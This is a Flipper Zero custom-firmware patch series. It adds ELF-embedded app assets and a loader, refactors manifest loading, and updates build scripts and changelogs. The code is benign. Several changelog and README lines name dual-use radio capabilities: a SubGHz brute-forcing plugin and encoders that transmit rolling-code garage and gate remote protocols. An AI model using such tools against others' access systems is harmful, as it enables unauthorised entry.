Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* +Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* diff --git a/lib/flipper_application/application_assets.c b/lib/flipper_application/application_assets.c new file mode 100644 index 000000000..1262870d5 --- /dev/null +++ b/lib/flipper_application/application_assets.c @@ -0,0 +1,361 @@ +#include "application_assets.h" +#include +#include + +// #define ELF_ASSETS_DEBUG_LOG 1 + +#ifndef ELF_ASSETS_DEBUG_LOG +#undef FURI_LOG_D +#define FURI_LOG_D(...) +#undef FURI_LOG_E +#define FURI_LOG_E(...) +#endif + +#define FLIPPER_APPLICATION_ASSETS_MAGIC 0x4F4C5A44 +#define FLIPPER_APPLICATION_ASSETS_VERSION 1 +#define FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME ".assets.signature" + +#define BUFFER_SIZE 512 + +#define TAG "fap_assets" + +#pragma pack(push, 1) + +typedef struct { + uint32_t magic; + uint32_t version; + uint32_t dirs_count; + uint32_t files_count; +} FlipperApplicationAssetsHeader; + +#pragma pack(pop) + +typedef enum { + AssetsSignatureResultEqual, + AssetsSignatureResultNotEqual, + AssetsSignatureResultError, +} AssetsSignatureResult; + +static FuriString* flipper_application_assets_alloc_app_full_path(FuriString* app_name) { + furi_assert(app_name); + FuriString* full_path = furi_string_alloc_set(APPS_ASSETS_PATH "/"); + furi_string_cat(full_path, app_name); + return full_path; +} + +static FuriString* flipper_application_assets_alloc_signature_file_path(FuriString* app_name) { + furi_assert(app_name); + FuriString* signature_file_path = flipper_application_assets_alloc_app_full_path(app_name); + furi_string_cat(signature_file_path, "/" FLIPPER_APPLICATION_ASSETS_SIGNATURE_FILENAME); + + return signature_file_path; +} + +static uint8_t* flipper_application_assets_alloc_and_load_data(File* file, size_t* size) { + furi_assert(file); + + uint8_t* data = NULL; + uint32_t length = 0; + + // read data length + if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { + return NULL; + } + + data = malloc(length); + + // read data + if(storage_file_read(file, (void*)data, length) != length) { + free((void*)data); + return NULL; + } + + if(size != NULL) { + *size = length; + } + + return data; +} + +static bool flipper_application_assets_process_files( + Storage* storage, + File* file, + FuriString* app_name, + uint32_t files_count) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + + UNUSED(storage); + + bool success = false; + uint32_t length = 0; + char* path = NULL; + FuriString* file_path = furi_string_alloc(); + File* destination = storage_file_alloc(storage); + + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + + for(uint32_t i = 0; i < files_count; i++) { + path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); + + if(path == NULL) { + break; + } + + // read file size + if(storage_file_read(file, &length, sizeof(length)) != sizeof(length)) { + break; + } + + furi_string_set(file_path, full_path); + furi_string_cat(file_path, "/"); + furi_string_cat(file_path, path); + + if(!storage_file_open( + destination, furi_string_get_cstr(file_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + FURI_LOG_E(TAG, "Can't create file: %s", furi_string_get_cstr(file_path)); + break; + } + + // copy data to file + if(!storage_file_copy_to_file(file, destination, length)) { + FURI_LOG_E(TAG, "Can't copy data to file: %s", furi_string_get_cstr(file_path)); + break; + } + + storage_file_close(destination); + + free(path); + path = NULL; + + if(i == files_count - 1) { + success = true; + } + } + + if(path != NULL) { + free(path); + } + + storage_file_free(destination); + furi_string_free(file_path); + + return success; +} + +static bool flipper_application_assets_process_dirs( + Storage* storage, + File* file, + FuriString* app_name, + uint32_t dirs_count) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + + bool success = false; + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + + do { + if(!storage_simply_mkdir(storage, APPS_ASSETS_PATH)) { + break; + } + + if(!storage_simply_mkdir(storage, furi_string_get_cstr(full_path))) { + break; + } + + FuriString* dir_path = furi_string_alloc(); + char* path = NULL; + + for(uint32_t i = 0; i < dirs_count; i++) { + path = (char*)flipper_application_assets_alloc_and_load_data(file, NULL); + + if(path == NULL) { + break; + } + + furi_string_set(dir_path, full_path); + furi_string_cat(dir_path, "/"); + furi_string_cat(dir_path, path); + + if(!storage_simply_mkdir(storage, furi_string_get_cstr(dir_path))) { + FURI_LOG_E(TAG, "Can't create directory: %s", furi_string_get_cstr(dir_path)); + break; + } + + free(path); + path = NULL; + + if(i == dirs_count - 1) { + success = true; + } + } + + if(path != NULL) { + free(path); + } + + furi_string_free(dir_path); + } while(false); + + furi_string_free(full_path); + + return success; +} + +static AssetsSignatureResult flipper_application_assets_process_signature( + Storage* storage, + File* file, + FuriString* app_name, + uint8_t** signature_data, + size_t* signature_data_size) { + furi_assert(storage); + furi_assert(file); + furi_assert(app_name); + furi_assert(signature_data); + furi_assert(signature_data_size); + + AssetsSignatureResult result = AssetsSignatureResultError; + File* signature_file = storage_file_alloc(storage); + FuriString* signature_file_path = + flipper_application_assets_alloc_signature_file_path(app_name); + + do { + // read signature + *signature_data = + flipper_application_assets_alloc_and_load_data(file, signature_data_size); + + if(*signature_data == NULL) { //-V547 + FURI_LOG_E(TAG, "Can't read signature"); + break; + } + + result = AssetsSignatureResultNotEqual; + + if(!storage_file_open( + signature_file, + furi_string_get_cstr(signature_file_path), + FSAM_READ_WRITE, + FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Can't open signature file"); + break; + } + + size_t signature_size = storage_file_size(signature_file); + uint8_t* signature_file_data = malloc(signature_size); + if(storage_file_read(signature_file, signature_file_data, signature_size) != + signature_size) { + FURI_LOG_E(TAG, "Can't read signature file"); + free(signature_file_data); + break; + } + + if(memcmp(*signature_data, signature_file_data, signature_size) == 0) { + FURI_LOG_D(TAG, "Assets signature is equal"); + result = AssetsSignatureResultEqual; + } + + free(signature_file_data); + } while(0); + + storage_file_free(signature_file); + furi_string_free(signature_file_path); + + return result; +} + +bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size) { + UNUSED(size); + furi_assert(file); + furi_assert(elf_path); + FlipperApplicationAssetsHeader header; + bool result = false; + Storage* storage = furi_record_open(RECORD_STORAGE); + uint8_t* signature_data = NULL; + size_t signature_data_size = 0; + FuriString* app_name = furi_string_alloc(); + path_extract_filename_no_ext(elf_path, app_name); + + FURI_LOG_D(TAG, "Loading assets for %s", furi_string_get_cstr(app_name)); + + do { + if(!storage_file_seek(file, offset, true)) { + break; + } + + // read header + if(storage_file_read(file, &header, sizeof(header)) != sizeof(header)) { + break; + } + + if(header.magic != FLIPPER_APPLICATION_ASSETS_MAGIC) { + break; + } + + if(header.version != FLIPPER_APPLICATION_ASSETS_VERSION) { + break; + } + + // process signature + AssetsSignatureResult signature_result = flipper_application_assets_process_signature( + storage, file, app_name, &signature_data, &signature_data_size); + + if(signature_result == AssetsSignatureResultError) { + FURI_LOG_E(TAG, "Assets signature error"); + break; + } else if(signature_result == AssetsSignatureResultEqual) { + FURI_LOG_D(TAG, "Assets signature equal, skip loading"); + result = true; + break; + } else { + FURI_LOG_D(TAG, "Assets signature not equal, loading"); + + // remove old assets + FuriString* full_path = flipper_application_assets_alloc_app_full_path(app_name); + storage_simply_remove_recursive(storage, furi_string_get_cstr(full_path)); + furi_string_free(full_path); + + FURI_LOG_D(TAG, "Assets removed"); + } + + // process directories + if(!flipper_application_assets_process_dirs(storage, file, app_name, header.dirs_count)) { + break; + } + + // process files + if(!flipper_application_assets_process_files(storage, file, app_name, header.files_count)) { + break; + } + + // write signature + FuriString* signature_file_path = + flipper_application_assets_alloc_signature_file_path(app_name); + File* signature_file = storage_file_alloc(storage); + + if(storage_file_open( + signature_file, + furi_string_get_cstr(signature_file_path), + FSAM_WRITE, + FSOM_CREATE_ALWAYS)) { + storage_file_write(signature_file, signature_data, signature_data_size); + } + + storage_file_free(signature_file); + furi_string_free(signature_file_path); + + result = true; + } while(false); + + if(signature_data != NULL) { + free(signature_data); + } + + furi_record_close(RECORD_STORAGE); + furi_string_free(app_name); + + FURI_LOG_D(TAG, "Assets loading %s", result ? "success" : "failed"); + + return result; +} \ No newline at end of file diff --git a/lib/flipper_application/application_assets.h b/lib/flipper_application/application_assets.h new file mode 100644 index 000000000..83bb14fb6 --- /dev/null +++ b/lib/flipper_application/application_assets.h @@ -0,0 +1,17 @@ +/** + * @file application_assets.h + * Flipper application assets + */ +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +bool flipper_application_assets_load(File* file, const char* elf_path, size_t offset, size_t size); + +#ifdef __cplusplus +} +#endif diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 64d5755ef..58e315333 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -241,7 +241,7 @@ static void elf_relocate_jmp_call(ELFFile* elf, Elf32_Addr relAddr, int type, El if(to_thumb || (symAddr & 2) || (!is_call)) { FURI_LOG_D( TAG, - "can't relocate value at %x, %s, doing trampoline", + "can't relocate value at %lx, %s, doing trampoline", relAddr, elf_reloc_type_to_str(type)); @@ -421,29 +421,11 @@ typedef enum { SectionTypeRelData = 1 << 2, SectionTypeSymTab = 1 << 3, SectionTypeStrTab = 1 << 4, - SectionTypeManifest = 1 << 5, - SectionTypeDebugLink = 1 << 6, + SectionTypeDebugLink = 1 << 5, - SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab | SectionTypeManifest, + SectionTypeValid = SectionTypeSymTab | SectionTypeStrTab, } SectionType; -static bool elf_load_metadata( - ELFFile* elf, - Elf32_Shdr* section_header, - FlipperApplicationManifest* manifest) { - if(section_header->sh_size < sizeof(FlipperApplicationManifest)) { - return false; - } - - if(manifest == NULL) { - return true; - } - - return storage_file_seek(elf->fd, section_header->sh_offset, true) && - storage_file_read(elf->fd, manifest, section_header->sh_size) == - section_header->sh_size; -} - static bool elf_load_debug_link(ELFFile* elf, Elf32_Shdr* section_header) { elf->debug_link_info.debug_link_size = section_header->sh_size; elf->debug_link_info.debug_link = malloc(section_header->sh_size); @@ -478,7 +460,7 @@ static bool elf_load_section_data(ELFFile* elf, ELFSection* section, Elf32_Shdr* return false; } - FURI_LOG_D(TAG, "0x%X", section->data); + FURI_LOG_D(TAG, "0x%p", section->data); return true; } @@ -486,8 +468,7 @@ static SectionType elf_preload_section( ELFFile* elf, size_t section_idx, Elf32_Shdr* section_header, - FuriString* name_string, - FlipperApplicationManifest* manifest) { + FuriString* name_string) { const char* name = furi_string_get_cstr(name_string); #ifdef ELF_DEBUG_LOG @@ -572,16 +553,6 @@ static SectionType elf_preload_section( return SectionTypeStrTab; } - // Load manifest section - if(strcmp(name, ".fapmeta") == 0) { - FURI_LOG_D(TAG, "Found .fapmeta section"); - if(elf_load_metadata(elf, section_header, manifest)) { - return SectionTypeManifest; - } else { - return SectionTypeERROR; - } - } - // Load debug link section if(strcmp(name, ".gnu_debuglink") == 0) { FURI_LOG_D(TAG, "Found .gnu_debuglink section"); @@ -692,41 +663,12 @@ bool elf_file_open(ELFFile* elf, const char* path) { return true; } -bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest) { - bool result = false; - FuriString* name; - name = furi_string_alloc(); - - FURI_LOG_D(TAG, "Looking for manifest section"); - for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { - Elf32_Shdr section_header; - - furi_string_reset(name); - if(!elf_read_section(elf, section_idx, §ion_header, name)) { - break; - } - - if(furi_string_cmp(name, ".fapmeta") == 0) { - if(elf_load_metadata(elf, §ion_header, manifest)) { - FURI_LOG_D(TAG, "Load manifest done"); - result = true; - break; - } else { - break; - } - } - } - - furi_string_free(name); - return result; -} - -bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manifest) { +bool elf_file_load_section_table(ELFFile* elf) { SectionType loaded_sections = SectionTypeERROR; - FuriString* name; - name = furi_string_alloc(); + FuriString* name = furi_string_alloc(); FURI_LOG_D(TAG, "Scan ELF indexs..."); + // TODO: why we start from 1? for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { Elf32_Shdr section_header; @@ -738,8 +680,7 @@ bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manif FURI_LOG_D( TAG, "Preloading data for section #%d %s", section_idx, furi_string_get_cstr(name)); - SectionType section_type = - elf_preload_section(elf, section_idx, §ion_header, name, manifest); + SectionType section_type = elf_preload_section(elf, section_idx, §ion_header, name); loaded_sections |= section_type; if(section_type == SectionTypeERROR) { @@ -753,14 +694,49 @@ bool elf_file_load_section_table(ELFFile* elf, FlipperApplicationManifest* manif return IS_FLAGS_SET(loaded_sections, SectionTypeValid); } +ElfProcessSectionResult elf_process_section( + ELFFile* elf, + const char* name, + ElfProcessSection* process_section, + void* context) { + ElfProcessSectionResult result = ElfProcessSectionResultNotFound; + FuriString* section_name = furi_string_alloc(); + Elf32_Shdr section_header; + + // find section + // TODO: why we start from 1? + for(size_t section_idx = 1; section_idx < elf->sections_count; section_idx++) { + furi_string_reset(section_name); + if(!elf_read_section(elf, section_idx, §ion_header, section_name)) { + break; + } + + if(furi_string_cmp(section_name, name) == 0) { + result = ElfProcessSectionResultCannotProcess; + break; + } + } + + if(result != ElfProcessSectionResultNotFound) { //-V547 + if(process_section(elf->fd, section_header.sh_offset, section_header.sh_size, context)) { + result = ElfProcessSectionResultSuccess; + } else { + result = ElfProcessSectionResultCannotProcess; + } + } + + furi_string_free(section_name); + + return result; +} + ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { ELFFileLoadStatus status = ELFFileLoadStatusSuccess; ELFSectionDict_it_t it; AddressCache_init(elf->relocation_cache); - for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); - ELFSectionDict_next(it)) { + for(ELFSectionDict_it(it, elf->sections); !ELFSectionDict_end_p(it); ELFSectionDict_next(it)) { ELFSectionDict_itref_t* itref = ELFSectionDict_ref(it); FURI_LOG_D(TAG, "Relocating section '%s'", itref->key); if(!elf_relocate_section(elf, &itref->value)) { diff --git a/lib/flipper_application/elf/elf_file.h b/lib/flipper_application/elf/elf_file.h index 673f165cc..f371cdb22 100644 --- a/lib/flipper_application/elf/elf_file.h +++ b/lib/flipper_application/elf/elf_file.h @@ -37,6 +37,14 @@ typedef enum { ELFFileLoadStatusMissingImports, } ELFFileLoadStatus; +typedef enum { + ElfProcessSectionResultNotFound, + ElfProcessSectionResultCannotProcess, + ElfProcessSectionResultSuccess, +} ElfProcessSectionResult; + +typedef bool(ElfProcessSection)(File* file, size_t offset, size_t size, void* context); + /** * @brief Allocate ELFFile instance * @param storage @@ -59,21 +67,12 @@ void elf_file_free(ELFFile* elf_file); */ bool elf_file_open(ELFFile* elf_file, const char* path); -/** - * @brief Load ELF file manifest - * @param elf - * @param manifest - * @return bool - */ -bool elf_file_load_manifest(ELFFile* elf, FlipperApplicationManifest* manifest); - /** * @brief Load ELF file section table (load stage #1) * @param elf_file - * @param manifest * @return bool */ -bool elf_file_load_section_table(ELFFile* elf_file, FlipperApplicationManifest* manifest); +bool elf_file_load_section_table(ELFFile* elf_file); /** * @brief Load and relocate ELF file sections (load stage #2) @@ -122,6 +121,21 @@ void elf_file_init_debug_info(ELFFile* elf_file, ELFDebugInfo* debug_info); */ void elf_file_clear_debug_info(ELFDebugInfo* debug_info); +/** + * @brief Process ELF file section + * + * @param elf_file + * @param name + * @param process_section + * @param context + * @return ElfProcessSectionResult + */ +ElfProcessSectionResult elf_process_section( + ELFFile* elf_file, + const char* name, + ElfProcessSection* process_section, + void* context); + #ifdef __cplusplus } #endif \ No newline at end of file diff --git a/lib/flipper_application/flipper_application.c b/lib/flipper_application/flipper_application.c index 58909218a..6e20c0809 100644 --- a/lib/flipper_application/flipper_application.c +++ b/lib/flipper_application/flipper_application.c @@ -1,6 +1,7 @@ #include "flipper_application.h" #include "elf/elf_file.h" #include +#include "application_assets.h" #define TAG "fapp" @@ -55,24 +56,83 @@ static FlipperApplicationPreloadStatus return FlipperApplicationPreloadStatusSuccess; } -/* Parse headers, load manifest */ -FlipperApplicationPreloadStatus - flipper_application_preload_manifest(FlipperApplication* app, const char* path) { - if(!elf_file_open(app->elf, path) || !elf_file_load_manifest(app->elf, &app->manifest)) { +static bool flipper_application_process_manifest_section( + File* file, + size_t offset, + size_t size, + void* context) { + FlipperApplicationManifest* manifest = context; + + if(size < sizeof(FlipperApplicationManifest)) { + return false; + } + + if(manifest == NULL) { + return true; + } + + return storage_file_seek(file, offset, true) && + storage_file_read(file, manifest, size) == size; +} + +// we can't use const char* as context because we will lose the const qualifier +typedef struct { + const char* path; +} FlipperApplicationPreloadAssetsContext; + +static bool flipper_application_process_assets_section( + File* file, + size_t offset, + size_t size, + void* context) { + FlipperApplicationPreloadAssetsContext* preload_context = context; + return flipper_application_assets_load(file, preload_context->path, offset, size); +} + +static FlipperApplicationPreloadStatus + flipper_application_load(FlipperApplication* app, const char* path, bool load_full) { + if(!elf_file_open(app->elf, path)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + // if we are loading full file + if(load_full) { + // load section table + if(!elf_file_load_section_table(app->elf)) { + return FlipperApplicationPreloadStatusInvalidFile; + } + + // load assets section + FlipperApplicationPreloadAssetsContext preload_context = {.path = path}; + if(elf_process_section( + app->elf, + ".fapassets", + flipper_application_process_assets_section, + &preload_context) == ElfProcessSectionResultCannotProcess) { + return FlipperApplicationPreloadStatusInvalidFile; + } + } + + // load manifest section + if(elf_process_section( + app->elf, ".fapmeta", flipper_application_process_manifest_section, &app->manifest) != + ElfProcessSectionResultSuccess) { return FlipperApplicationPreloadStatusInvalidFile; } return flipper_application_validate_manifest(app); } +/* Parse headers, load manifest */ +FlipperApplicationPreloadStatus + flipper_application_preload_manifest(FlipperApplication* app, const char* path) { + return flipper_application_load(app, path, false); +} + /* Parse headers, load full file */ FlipperApplicationPreloadStatus flipper_application_preload(FlipperApplication* app, const char* path) { - if(!elf_file_open(app->elf, path) || !elf_file_load_section_table(app->elf, &app->manifest)) { - return FlipperApplicationPreloadStatusInvalidFile; - } - - return flipper_application_validate_manifest(app); + return flipper_application_load(app, path, true); } const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplication* app) { diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 64b9f6f39..eb1652b78 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -67,6 +67,7 @@ class FlipperApplication: fap_icon_assets_symbol: Optional[str] = None fap_extbuild: List[ExternallyBuiltFile] = field(default_factory=list) fap_private_libs: List[Library] = field(default_factory=list) + fap_file_assets: Optional[str] = None # Internally used by fbt _appdir: Optional[object] = None _apppath: Optional[str] = None diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index 214afd8af..d26b1b794 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -1,5 +1,5 @@ from dataclasses import dataclass, field -from typing import Optional +from typing import Optional, TypedDict from SCons.Builder import Builder from SCons.Action import Action from SCons.Errors import UserError @@ -15,6 +15,8 @@ import os import pathlib import itertools import shutil +import struct +import hashlib from ansi.color import fg @@ -151,12 +153,24 @@ def BuildAppElf(env, app): app_artifacts.compact, [app_env["SDK_DEFINITION"], app_env.Value(manifest_vals)], ) + + # Add dependencies on icon files if app.fap_icon: app_env.Depends( app_artifacts.compact, app_env.File(f"{app._apppath}/{app.fap_icon}"), ) + # Add dependencies on file assets + if app.fap_file_assets: + app_env.Depends( + app_artifacts.compact, + app_env.GlobRecursive( + "*", + app._appdir.Dir(app.fap_file_assets), + ), + ) + app_artifacts.validator = app_env.ValidateAppImports(app_artifacts.compact) app_env.AlwaysBuild(app_artifacts.validator) app_env.Alias(app_alias, app_artifacts.validator) @@ -266,6 +280,159 @@ def resources_fap_dist_action(target, source, env): shutil.copy(src.path, target.path) +def generate_embed_app_metadata_emitter(target, source, env): + app = env["APP"] + + meta_file_name = source[0].path + ".meta" + target.append("#" + meta_file_name) + + if app.fap_file_assets: + files_section = source[0].path + ".files.section" + target.append("#" + files_section) + + return (target, source) + + +class File(TypedDict): + path: str + size: int + content_path: str + + +class Dir(TypedDict): + path: str + + +def prepare_app_files(target, source, env): + app = env["APP"] + + directory = app._appdir.Dir(app.fap_file_assets) + directory_path = directory.abspath + + if not directory.exists(): + raise UserError(f"File asset directory {directory} does not exist") + + file_list: list[File] = [] + directory_list: list[Dir] = [] + + for root, dirs, files in os.walk(directory_path): + for file_info in files: + file_path = os.path.join(root, file_info) + file_size = os.path.getsize(file_path) + file_list.append( + { + "path": os.path.relpath(file_path, directory_path), + "size": file_size, + "content_path": file_path, + } + ) + + for dir_info in dirs: + dir_path = os.path.join(root, dir_info) + dir_size = sum( + os.path.getsize(os.path.join(dir_path, f)) for f in os.listdir(dir_path) + ) + directory_list.append( + { + "path": os.path.relpath(dir_path, directory_path), + } + ) + + file_list.sort(key=lambda f: f["path"]) + directory_list.sort(key=lambda d: d["path"]) + + files_section = source[0].path + ".files.section" + + with open(files_section, "wb") as f: + # u32 magic + # u32 version + # u32 dirs_count + # u32 files_count + # u32 signature_size + # u8[] signature + # Dirs: + # u32 dir_name length + # u8[] dir_name + # Files: + # u32 file_name length + # u8[] file_name + # u32 file_content_size + # u8[] file_content + + # Write header magic and version + f.write(struct.pack(" Date: Fri, 10 Mar 2023 20:13:11 +0900 Subject: [PATCH 066/329] Fbt: fix broken resource deployment (#2477) --- scripts/fbt_tools/fbt_extapps.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index d26b1b794..1a2761c54 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -466,7 +466,7 @@ def generate(env, **kw): generator=generate_embed_app_metadata_actions, suffix=".fap", src_suffix=".elf", - emitter=generate_embed_app_metadata_emitter, + # emitter=generate_embed_app_metadata_emitter, ), "ValidateAppImports": Builder( action=[ From d32c73ad573bd54b149c062cc75448b033057296 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 11 Mar 2023 17:28:45 +0300 Subject: [PATCH 067/329] Update subbrute and changelog --- CHANGELOG.md | 43 +++++++---------------------------- applications/plugins/subbrute | 2 +- 2 files changed, 9 insertions(+), 36 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1d75cab2f..60d0f905d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,39 +1,12 @@ ### New changes -* If you have copied apps into `apps` folder - remove `apps` folder on your microSD before installing this release to avoid issues! -* SubGHz: Default custom buttons layout for non standard remotes (for example your remote has broken buttons and transmit only 0xC, now you can use other buttons) -* SubGHz: Fix issues with external module 5v power (now all works automatically, enabling +5v manually not required) (**Only for modules that work with 5v->3.3v converter!!!!!**) -* SubGHz: Option to disable automatic 5v power for external modules - (5v is enabled by default, if you are using module without converter you can set this option to OFF) -* SubGHz: Fix and update subghz protocols to use new error system -* SubGHz: Fix default frequency being overwritten bug (Add manually fixes) -* SubGHz: Fix 464Mhz and (390MHz for external module only) was showing up in Frequency analyzer all the time due to noise -* iButton: Fix ibutton app - add manually - duplicate names -* Plugins: NFC Magic fix - reinit nfc at app start -* Plugins: Update **Unitemp - Temperature sensors reader** (DHT11/22, DS18B20, BMP280, HTU21x and more) [(by quen0n)](https://github.com/quen0n/unitemp-flipperzero) -* Plugins: Update **SWD Probe** [(by g3gg0)](https://github.com/g3gg0/flipper-swd_probe) -* Plugins: Massive plugins refactoring - not full refactoring, only small issues is fixed and moved all plugins to furi mutex instead of valuemutex -* Plugins: Many small issues was found and fixed due mutex upgrade -* Plugins: `Extra pack` updated and fixed (valuemutex to furi_mutex upgrade) -* Plugins: SubGHz playlist - rewind (skip or play previous file) [(by alvarotorijano)](https://github.com/alvarotorijano/playListMod/blob/main/playlistMod.c) -* Plugins: Properly rename unirf remix to subghz remote - And automatically migrate user files to new folder (unirf -> subghz_remote) -* Plugins: Fix unirf freeze (protocol deserialize status ok) (by @Willy-JL | PR #375) -* Plugins: Blackjack game: fix bug counting more than one ace (by @403-Fruit | PR #374) -* Plugins: Update POCSAG Pager app to new error system -* Plugins: Update iButton Fuzzer to new iButton system -* Infrared: Update universal remote assets (by @amec0e | PR #378) -* OFW: PicoPass: auth cleanup -* OFW: More UI fixes and improvements -* OFW: NFC: Support reading Mifare Classic key B from sector trailer, reading sector with B key where A key can't read block, Nfc Magic app not using NFC folder by default (in file select) -* OFW: Remove ValueMutex -> **Breaking API change, api was changed from 17.x to 18.x** -* OFW: Support reseting iCx cards -* OFW: Fixed picopass load save file overrun -* OFW: Fix SD card CID parsing -* OFW: Archive browser: update path on dir leave -* OFW: SubGhz: better and more verbose error handling in protocols, stricter CAME validation -> **Breaking API change, api was changed from 16.x to 17.x** -* OFW: iButton system and app refactoring (+new protocols) -> **Breaking API change, api was changed from 15.x to 16.x** -**(this will make your manually copied plugins not work, update them in same way you installed them, or delete `apps` folder and then install firmware, if you using extra pack builds (with `e` in version) all apps in _Extra will be updated automatically)** - -* OFW: New pin reset splashscreen -* OFW: Getter for application data path +* Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) +* Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) +* OFW: Fbt: fix broken resource deployment +* OFW: NFC: Fix 0 block write possibility in Mifare Classic emulation +* OFW: BadUSB: updated parser and added stringln, hold and release +* OFW: Upside down / left handed orientation support +* OFW: Embed assets in elf file +* OFW: Dumb mode menu freeze fix #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) diff --git a/applications/plugins/subbrute b/applications/plugins/subbrute index 19153c723..49d32f8ed 160000 --- a/applications/plugins/subbrute +++ b/applications/plugins/subbrute @@ -1 +1 @@ -Subproject commit 19153c72395c7d62efac425325b4c4c646e1fd3f +Subproject commit 49d32f8ed6790d3b9a99f261ad306766325a691a From 027ae3f3f6e1f7d023a30c70e9eae95ce06d0a4e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 12 Mar 2023 15:32:47 +0300 Subject: [PATCH 068/329] SubGHz: Add manually extend, add support for new protocols Schellenberg / Stilmatic and Came Space keeloq protocols support --- CHANGELOG.md | 3 + ReadMe.md | 3 + .../main/subghz/helpers/subghz_custom_event.h | 18 +- .../subghz/scenes/subghz_scene_set_type.c | 379 ++++++++++++++++-- documentation/SubGHzSettings.md | 3 +- lib/subghz/protocols/keeloq.c | 14 +- lib/subghz/subghz_setting.c | 1 - 7 files changed, 388 insertions(+), 33 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 60d0f905d..5cd2d5f13 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,7 @@ ### New changes +* SubGHz: New protocols support: CAME Space, Stilmatic / Schellenberg +* SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space +* SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) * Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) * Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) * OFW: Fbt: fix broken resource deployment diff --git a/ReadMe.md b/ReadMe.md index 24659d6b6..ed31961fa 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -46,6 +46,7 @@ Our Discord Community: * Customizable Flipper name - BadUSB -> Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) - Sub-GHz -> External CC1101 module support - [(by quen0n)](https://github.com/DarkFlippers/unleashed-firmware/pull/307) +- Sub-GHz -> `Add manually` menu extended with new protocols - Sub-GHz -> New frequency analyzer - [(by ClusterM)](https://github.com/DarkFlippers/unleashed-firmware/pull/43) - Sub-GHz -> Save last used frequency [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) - Sub-GHz -> Press OK in frequency analyzer to use detected frequency in Read modes [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) @@ -81,6 +82,8 @@ Encoders/sending made by Eng1n33r & @xMasterX: - Keeloq: Mutancode - Keeloq: Normstahl - Keeloq: Beninca +- Keeloq: Stilmatic / Schellenberg +- Keeloq: CAME Space - CAME Atomo - Nice Flor S - FAAC SLH (Spa) [External seed calculation required (For info contact me in Discord: Nano#8998)] diff --git a/applications/main/subghz/helpers/subghz_custom_event.h b/applications/main/subghz/helpers/subghz_custom_event.h index 4475045ee..69f946a9a 100644 --- a/applications/main/subghz/helpers/subghz_custom_event.h +++ b/applications/main/subghz/helpers/subghz_custom_event.h @@ -11,7 +11,14 @@ typedef enum { SubmenuIndexBFTClone, SubmenuIndexBFTMitto, SubmenuIndexSomfyTelis, - SubmenuIndexPricenton, + SubmenuIndexBeninca433, + SubmenuIndexBeninca868, + SubmenuIndexIronLogic, + SubmenuIndexElmesElectronic, + SubmenuIndexSommer_FM_434, + SubmenuIndexSommer_FM_868, + SubmenuIndexDTMNeo433, + 